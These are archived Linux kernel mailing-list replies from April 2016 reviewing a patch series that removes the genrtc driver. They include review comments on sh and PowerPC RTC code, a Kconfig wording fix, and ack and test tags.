From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 04/16] rtc: sh: provide rtc_class_ops directly
Date: Thu, 28 Apr 2016 09:21:05 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <CAMuHMdVP3QWvyY11sw-Y440MFpxtjcZRQ+pAP76p35qFvcye6g@mail.gmail.com>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
	<1461796470-1291527-5-git-send-email-arnd@arndb.de>
	<20160427232122.GW21636@brightrain.aerifal.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1461828076 16261 80.91.229.3 (28 Apr 2016 07:21:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 07:21:16 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	David Howells <dhowells@redhat.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	RTCLINUX <rtc-linux@googlegroups.com>,
	Linux-Arch <linux-arch@vger.kernel.org>
To: Rich Felker <dalias@libc.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 28 09:21:10 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avgG5-0002tA-TD
	for glpp-linux-parisc@plane.gmane.org; Thu, 28 Apr 2016 09:21:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752468AbcD1HVJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Apr 2016 03:21:09 -0400
Original-Received: from mail-io0-f196.google.com ([209.85.223.196]:35686 "EHLO
	mail-io0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750845AbcD1HVH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Apr 2016 03:21:07 -0400
Original-Received: by mail-io0-f196.google.com with SMTP id u185so11481700iod.2;
        Thu, 28 Apr 2016 00:21:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=+0QUX6n2+67ThTdh+Z2WHupeGndjFZwIEV75RlfssrY=;
        b=uX2J/SYOMIVrPx6g/Uz+udeCFduF7v+45t7VMEjQF97lwsaUeQiuraKmgzGNTAZep0
         NVOyFpeBVVRiZZ59LJFLQgqrDB+BOULjr8UR8vPzGY3eGDEsMS5THr5lk5qb8vfai8P1
         gRB7bvwXwT/F7/+26jq3hQUXhcuj6i7uCUO8Kr1Z+GN1IM3bsDEMh5DBXMvx7xH/AWHr
         WsZh/w/pfDYyYRf20rz402KRoulnZ0h6Ap6JcGP8rklFo5cjQtHvniLcmW7+IX1jWG6b
         rKJgBx2tqiiJhVrnMXXTn1CIR8B4/EkDBR6g2Kae04ixy1hzXswbWElDm/HrGaAY1SXl
         KDAA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=+0QUX6n2+67ThTdh+Z2WHupeGndjFZwIEV75RlfssrY=;
        b=ZLUDIVF+PVyYP4x0AlgxxyBiPyM0xEhyhgnW0NM9n7xKmz9QLP07OGSCjyb0Es4iU6
         +BQQXnEFDrZz87bO5xpV1bzh1fb3YMh9cGqBdlzWXkP8DT9NkuePXMCU00pOW+8trtIA
         u1KmVSF3NyavleqxnydHOO5N6EsDs9iJWZbuKDoxh0Yz7x/RwImTZ3EyP518x9Z3m4ht
         LXOptavSHT4RQ7cZyKoGWEEY6r/JdmZT0t9kwJaMdvH3QUNSSh8384K1UOMJOU5EJgfw
         4riXCcwxG4dzyf1TKZ/TW73mewB1f34KpwB7/LdA0whUx7WBeTP6kh4DVvZnlJZ8iTKW
         vFAQ==
X-Gm-Message-State: AOPr4FWSc/hBq6EoM2X+UPLLseGhjX4p6cYUoQ22iEeaepx83BXATsxglo7iUi0lK2AJooWn9vYD1DTy9h8nFw==
X-Received: by 10.107.180.194 with SMTP id d185mr15783636iof.151.1461828065711;
 Thu, 28 Apr 2016 00:21:05 -0700 (PDT)
Original-Received: by 10.107.31.77 with HTTP; Thu, 28 Apr 2016 00:21:05 -0700 (PDT)
In-Reply-To: <20160427232122.GW21636@brightrain.aerifal.cx>
X-Google-Sender-Auth: eXQ4_GnMdEbU_NrR0gbWUSuMxtk
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26725 gmane.linux.ports.alpha:3698 gmane.linux.kernel:2210178 gmane.linux.ports.ppc64.devel:126550 gmane.linux.ports.sh.devel:53888 gmane.linux.kernel.cross-arch:31809
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26725>

Hi Rich,

On Thu, Apr 28, 2016 at 1:21 AM, Rich Felker <dalias@libc.org> wrote:
> Not a complaint about your patch, but I'd like to get rid of this
> platform device and abstraction layer completely since it doesn't seem
> like something that can be modeled correctly in device tree. When
> you're done cleaning this up, will it be possible to just have rtc
> drivers that use whatever generic framework is left, where the right
> driver is automatically attached to compatible DT nodes? I'm trying to
> move all of arch/sh over to device tree and remove hard-coded platform
> devices.

If you describe the RTC in DT, it can bound to a hardware-specific driver
in drivers/rtc/rtc-*.c.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 13/16] char/genrtc: remove powerpc support
Date: Thu, 28 Apr 2016 09:25:25 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <CAMuHMdUhydMDeQ=ciVFgjBcjnCD_q2qU0F0gUP28U9=EcH2ZRQ@mail.gmail.com>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
	<1461796470-1291527-14-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1461828330 20421 80.91.229.3 (28 Apr 2016 07:25:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 07:25:30 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	RTCLINUX <rtc-linux@googlegroups.com>,
	Linux-Arch <linux-arch@vger.kernel.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Apr 28 09:25:28 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avgKF-0003ZJ-VH
	for glpm-linux-m68k@plane.gmane.org; Thu, 28 Apr 2016 09:25:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751153AbcD1HZ1 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Thu, 28 Apr 2016 03:25:27 -0400
Original-Received: from mail-ig0-f195.google.com ([209.85.213.195]:36523 "EHLO
	mail-ig0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750845AbcD1HZ0 (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Thu, 28 Apr 2016 03:25:26 -0400
Original-Received: by mail-ig0-f195.google.com with SMTP id c3so9893087igl.3
        for <linux-m68k@lists.linux-m68k.org>; Thu, 28 Apr 2016 00:25:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=T3KAHlzmrpQjEfy5bzUA6rqwcAKQdZja3UILqmcptuk=;
        b=rEBHUKx8j6BSv2wLp7ztVg7yM7NYf9oGm3q+oCC8DiEg60AaXIoI3AOOOR8LmXBMWZ
         8Jtw5Q2YOHHfavB7HxOKKf+kYI3l6K474LyzbMAp2XMHEeIYwOMMH276aMHRhTD9xIbf
         dTWhD283ka9dPoHtzSmWjFoB+/e8vTKBZ9AeRXRCRbEEJUjFz5u1tQ6V4o+fcpIcabBz
         SaQcHUTHIeU2RXr3rAvDUawjrsNFqKv4IWRW9YqoQI3DZNkf2x3Q9EbZ9Bm8InKyB7iD
         MHc3vKpFIaofO96XW8NcoAMgQNWxQd5WJkcgL2CpSzFGTrFY6hDLVRC4e/eZWNgYOsi6
         jY6A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=T3KAHlzmrpQjEfy5bzUA6rqwcAKQdZja3UILqmcptuk=;
        b=XRr7DbS+nl8e63sQoknvfK1EiTSpaM6WM60YdB1EKMhLDrNQO8JTbEW8vAVuTfTV15
         slPR3Y8ZSnAQArexgARZ5Vb6LkQYtJkGKxRR77XMhYEN1Ejk1KexIdlyHoT2H3DQ2CLG
         FV+lpe6bO3cYAN7vb0zzr8KBXOxrL+dBNOukzuKr/JznDoZ0an+0IOBSUWwHGYmUubaS
         1r52P4T+7oI6kq4R7iY6AARFyFd87xUACqfeNbL5nGI5oexgVz3t5oJRadNejUVqln38
         Fol7lc9g9XgyBVNfRP2hCJ8Etbj6bjhiVuLzbyx6Agd4qXnuyI3MpJfLu52uyjtfXMV4
         lpSw==
X-Gm-Message-State: AOPr4FX15HWBGb+qn2gEqSo4HGbi0pk6YNGzc+LWSotdbkiQcVd3UVybP4qRRcnKDxM4rlUcHkvWFn0LoAlhhg==
X-Received: by 10.50.177.73 with SMTP id co9mr16327544igc.38.1461828325184;
 Thu, 28 Apr 2016 00:25:25 -0700 (PDT)
Original-Received: by 10.107.31.77 with HTTP; Thu, 28 Apr 2016 00:25:25 -0700 (PDT)
In-Reply-To: <1461796470-1291527-14-git-send-email-arnd@arndb.de>
X-Google-Sender-Auth: A_b6PJFd0HCNKYx9PSkVAv0vFg8
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8576 gmane.linux.ports.alpha:3699 gmane.linux.kernel:2210181 gmane.linux.ports.parisc:26726 gmane.linux.ports.ppc64.devel:126551 gmane.linux.ports.sh.devel:53889 gmane.linux.kernel.cross-arch:31810
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8576>

On Thu, Apr 28, 2016 at 12:34 AM, Arnd Bergmann <arnd@arndb.de> wrote:
> --- a/arch/powerpc/platforms/Kconfig
> +++ b/arch/powerpc/platforms/Kconfig
> @@ -321,6 +321,17 @@ config OF_RTC
>           Uses information from the OF or flattened device tree to instantiate
>           platform devices for direct mapped RTC chips like the DS1742 or DS1743.
>
> +config GEN_RTC
> +       bool "Use the platform RTC operations from user space"
> +       select RTC_CLASS
> +       select RTC_DRV_GENERIC
> +       help
> +         This option provides backwards compatibility with the old gen_rtc.ko
> +         module that was traditionally used for old PowerPC machines.
> +         Platforms should migrate to enabling the RTC_DRV_GENERIC by hand
> +         replacing changing their get_rtc_time/set_rtc_time callbacks with

Drop "changing".

> +         a proper RTC device driver.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:38:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 00/16] genrtc removal
Date: Thu, 28 Apr 2016 09:48:57 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <CAMuHMdUcrB38jL1_estfq5aK55UFUeF=4JciVGFqcE17pY9X7g@mail.gmail.com>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1461829748 9786 80.91.229.3 (28 Apr 2016 07:49:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 07:49:08 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	RTCLINUX <rtc-linux@googlegroups.com>,
	Linux-Arch <linux-arch@vger.kernel.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Apr 28 09:49:06 2016
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1avgh6-0001Bq-SB
	for lnx-linux-alpha@plane.gmane.org; Thu, 28 Apr 2016 09:49:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752227AbcD1HtA (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 28 Apr 2016 03:49:00 -0400
Original-Received: from mail-ig0-f193.google.com ([209.85.213.193]:35717 "EHLO
	mail-ig0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751578AbcD1Hs7 (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Thu, 28 Apr 2016 03:48:59 -0400
Original-Received: by mail-ig0-f193.google.com with SMTP id fn8so11137836igb.2;
        Thu, 28 Apr 2016 00:48:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=eZxKZ1Vkd7RWDlyfQgIXDpHE27rNLgKVQRjb05p945M=;
        b=KUc+peiB6RmsiY9JnD4/w5/NawD89kExQvUU6sEPPr6aW8LptITmBp4MLkl8XswFdu
         IRFuKpsDaoM3ygblbSTZrHEXYdd1109DDt+8XfblCPR0jqaxWiC44CvG6yrHmgXFrZMZ
         76hbQzslKHgGis9S66cKcLbtOrlv0ydDsMAxSAeSVF0oeiM9OZTaIGkOSW6xPccD7C97
         gXEn84787btzHsQLsDW0UgvxDR2PE3AkPtFprUr2p6vFKDI0UjQ9pOf+eTBhWBpLSWlF
         mhG5gealx7ZnWmlWnsfGAp7owh3OZH+XSZp6nbyxr637E1CpP1S59AErbQEdUDvE99Ql
         8ZNw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=eZxKZ1Vkd7RWDlyfQgIXDpHE27rNLgKVQRjb05p945M=;
        b=ktVH393VMjJOL2lHeSDjv0jdj825ixc/akopy5jD429Tj5qlAmDdWpniN3uDbPGWVY
         Px/B/XmEhbBKre1daG3YJZawc54CmbsIVMWmc+s0KdaoBTPu2XRfzq4YjNQoAf60qXxo
         5lByI+wPwe0fWPDbwOer+2YJrGl4PezoIHtOdRVJRNTdTCRgZYB2zA9e01jjXchUpGu7
         XLgODJ2fG1VmItHFL4vyJxnbh9Oa7n7xhCdvg3Bgd2kMFnzR2VQF+XtPMTh1/KCg6RQ5
         YNxGSTOTUdRSYSHKe4oP4BcpCVa9EMtvNhl7ASIEBTdF1dh+5LKtxqezjXkgqHh6ZkKS
         lDBA==
X-Gm-Message-State: AOPr4FUmdRUP3nb9nhE5uofqKLbtOGQ0qFcN2i/Mypj7bwJgeZh94stVNwVUYoe1S3RtRa9foDu/RShb1aCWww==
X-Received: by 10.50.177.73 with SMTP id co9mr16439528igc.38.1461829737680;
 Thu, 28 Apr 2016 00:48:57 -0700 (PDT)
Original-Received: by 10.107.31.77 with HTTP; Thu, 28 Apr 2016 00:48:57 -0700 (PDT)
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Google-Sender-Auth: _dnT3ZfhvKMe210-a8j_XSO7cfE
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3700 gmane.linux.kernel:2210187 gmane.linux.ports.parisc:26727 gmane.linux.ports.ppc64.devel:126552 gmane.linux.ports.sh.devel:53890 gmane.linux.kernel.cross-arch:31811
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3700>

On Thu, Apr 28, 2016 at 12:34 AM, Arnd Bergmann <arnd@arndb.de> wrote:
> I ended up stuffing the two patch series into one, as they are now
> more dependent on one another. This now thoroughly removes the
> genrtc driver including the asm/rtc.h headers it uses. For all
> architectures that still have a meaningful asm/rtc.h, this goes
> through two stages:
>
> 1) make the rtc-generic implementation independent of asm/rtc.h
> 2) remove the asm/rtc.h header and disallow the gen_rtc driver
>
> As the last step, the driver itself gets removed.

In general, after fixing the minor nit:
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>

For the m68k bits:
Tested-by: Geert Uytterhoeven <geert@linux-m68k.org>

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 04/16] rtc: sh: provide rtc_class_ops directly
Date: Thu, 28 Apr 2016 11:08:41 +0200
Lines: 143
Approved: news@gmane.org
Message-ID: <2582931.5Q3899gsIm@wuerfel>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de> <1461796470-1291527-5-git-send-email-arnd@arndb.de> <20160427232122.GW21636@brightrain.aerifal.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1461834578 22291 80.91.229.3 (28 Apr 2016 09:09:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 09:09:38 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	geert@linux-m68k.org, deller@gmx.de, benh@kernel.crashing.org,
	mpe@ellerman.id.au, dhowells@redhat.com,
	linux-alpha@vger.kernel.org, a.zummo@towertech.it,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, rtc-linux@googlegroups.com,
	linux-arch@vger.kernel.org
To: Rich Felker <dalias@libc.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Apr 28 11:09:30 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avhwv-000068-5y
	for glpm-linux-m68k@plane.gmane.org; Thu, 28 Apr 2016 11:09:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753721AbcD1JJ2 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Thu, 28 Apr 2016 05:09:28 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.135]:58339 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753718AbcD1JJW (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Thu, 28 Apr 2016 05:09:22 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue002) with ESMTPSA (Nemesis) id 0LpTKI-1banrA2L1K-00fO3O; Thu, 28 Apr
 2016 11:08:50 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <20160427232122.GW21636@brightrain.aerifal.cx>
X-Provags-ID: V03:K0:xt/Hd9Wtsz7kHzmBtoEUB9zXtJBrnKCNaVrGBFbXMSRliQZ58lM
 mcEp8zux7VuJaFg3bwVMRuuDtjWfPXG0lVf+uojBbMw3z86R+UpAsOXiaxdd20s8H6y8fnu
 HvECsTFbjgqSLs02gRMjGNoAMgST1wDwfoo7QBprbjv2lJ6HBSwMFnVne/27dIFLoQpCFAZ
 V9R2ebwDmltp9ovNfUXrQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:s/deEGdsC94=:dfzklUcyhSjiIF3EtRnIpD
 oo+dZIFJ1mWBTOTwZb18UAGWeuuhkFdrvLIHkZsZvJ4ZIBl1Gb8GbDIpIfUK26d52MH4MJUlV
 AvUu+IDBcpoLBeaqZTWlxL6PEXKDbKY9njWHXuaGC3UWTPh5wrg4BDSGu3ObIgBKrGbn3Dsqk
 djqMHSdESq84oV1L3t/WVf8kgCwXBuUXWLcb+T0UqnImV58REYqbrLyqE27x8+WgGtHpdehmk
 zapfJItyP+OBpZZYVipE1qQ/YUcE+RaQuYpd0Z+eyfSb9sWjetdYU621lenfYAfIpDNbm1ZMc
 i8RtKK/5V0lXmlZ1EZnieo7XjYPdCUdAhEUlMuzknUIvk/0jNBPQmtfU5iRW77quuJEmgBn0k
 qjypi4STQw00JOWakv7+ncxuQbJkaqbg8lEDhkPULWkzSyu8G+EE3W/9LumL9hjpoaAqJ+nzG
 3lCoNfLPjZiaoR9WOc6X9jOHsY5o3s+y2NObRJ0ohwXzO/q3NvvYRaLx+7XmuGEx3K2Ulm/wW
 F2sVRxvPy4Llpxfc4gGACqQ2UZhdNoBoawq05URb03p1oYI9Kxy8VBdMpiZxhwCP6VbGpoRU7
 knG+yf9essCJ+ee1qkBGCIJKfs9dBJnqRpANG1iD5CdRvJviBjggKAlfdiNa9U4PYVsADWGya
 HZK3g38RzcMG1IWzSeRx0L5AF3pEeb3SetPzmg9PQ3W/kWqAlGTiYD1YpvnwgTlFFcRxVvo++
 PpCqXEZDqllU5g0/
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8578 gmane.linux.ports.alpha:3701 gmane.linux.kernel:2210281 gmane.linux.ports.parisc:26728 gmane.linux.ports.ppc64.devel:126556 gmane.linux.ports.sh.devel:53892 gmane.linux.kernel.cross-arch:31812
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8578>

On Wednesday 27 April 2016 19:21:22 Rich Felker wrote:
> On Thu, Apr 28, 2016 at 12:34:18AM +0200, Arnd Bergmann wrote:
> > The rtc-generic driver provides an architecture specific
> > wrapper on top of the generic rtc_class_ops abstraction,
> > and on sh, that goes through another indirection using
> > the rtc_sh_get_time/rtc_sh_set_time functions.
> > 
> > This changes the sh rtc-generic device to provide its
> > rtc_class_ops directly, skipping one of the abstraction
> > levels.
> > 
> > Signed-off-by: Arnd Bergmann <arnd@arndb.de>
> 
> Looks ok in principle. Have you tested that it builds? 

I think I build tested version 1, but not the current version.

> > diff --git a/arch/sh/kernel/time.c b/arch/sh/kernel/time.c
> > index d6d0a986c6e9..92cd676970d9 100644
> > --- a/arch/sh/kernel/time.c
> > +++ b/arch/sh/kernel/time.c
> > @@ -50,27 +50,30 @@ int update_persistent_clock(struct timespec now)
> >  }
> >  #endif
> >  
> > -unsigned int get_rtc_time(struct rtc_time *tm)
> > +static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
> >  {
> > -	if (rtc_sh_get_time != null_rtc_get_time) {
> 
> This seems like a functional change -- whereas previously the
> null_rtc_get_time case left *tm unchanged, now the function gets
> called and junk gets filled in. Is that desired?

I dropped the check because it duplicates the check in rtc_generic_init()
below it: the old genrtc driver needed the check in get_rtc_time()
because it would call that function unconditionally, but with the
rtc-generic driver, we know that we only ever call this after
registering the device successfully.

> > -		struct timespec tv;
> > +	struct timespec tv;
> >  
> > -		rtc_sh_get_time(&tv);
> > -		rtc_time_to_tm(tv.tv_sec, tm);
> > -	}
> > -
> > -	return RTC_24H;
> > +	rtc_sh_get_time(&tv);
> > +	rtc_time_to_tm(tv.tv_sec, tm);
> > +	return 0;
> 
> Also the return value is changed. Is this correct?

Yes: again, the genrtc driver had obscure calling conventions requiring
RTC_24H to be returned on success, while the rtc-generic driver uses
the normal kernel coding style of using 0 for success.

Previously, this function was used to convert from get_rtc_time()
calling conventions (without a device) to the normal rtc_class_ops:

static int generic_get_time(struct device *dev, struct rtc_time *tm)
{
       unsigned int ret = get_rtc_time(tm);

       if (ret & RTC_BATT_BAD)
               return -EOPNOTSUPP;

       return rtc_valid_tm(tm);
}

> >  }
> > -EXPORT_SYMBOL(get_rtc_time);
> >  
> > -int set_rtc_time(struct rtc_time *tm)
> > +static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
> >  {
> >  	unsigned long secs;
> >  
> >  	rtc_tm_to_time(tm, &secs);
> > -	return rtc_sh_set_time(secs);
> > +	if (!rtc_sh_set_time || rtc_sh_set_time(secs) < 0)
> > +		return -EOPNOTSUPP;
> > +
> > +	return 0;
> >  }
> > -EXPORT_SYMBOL(set_rtc_time);
> 
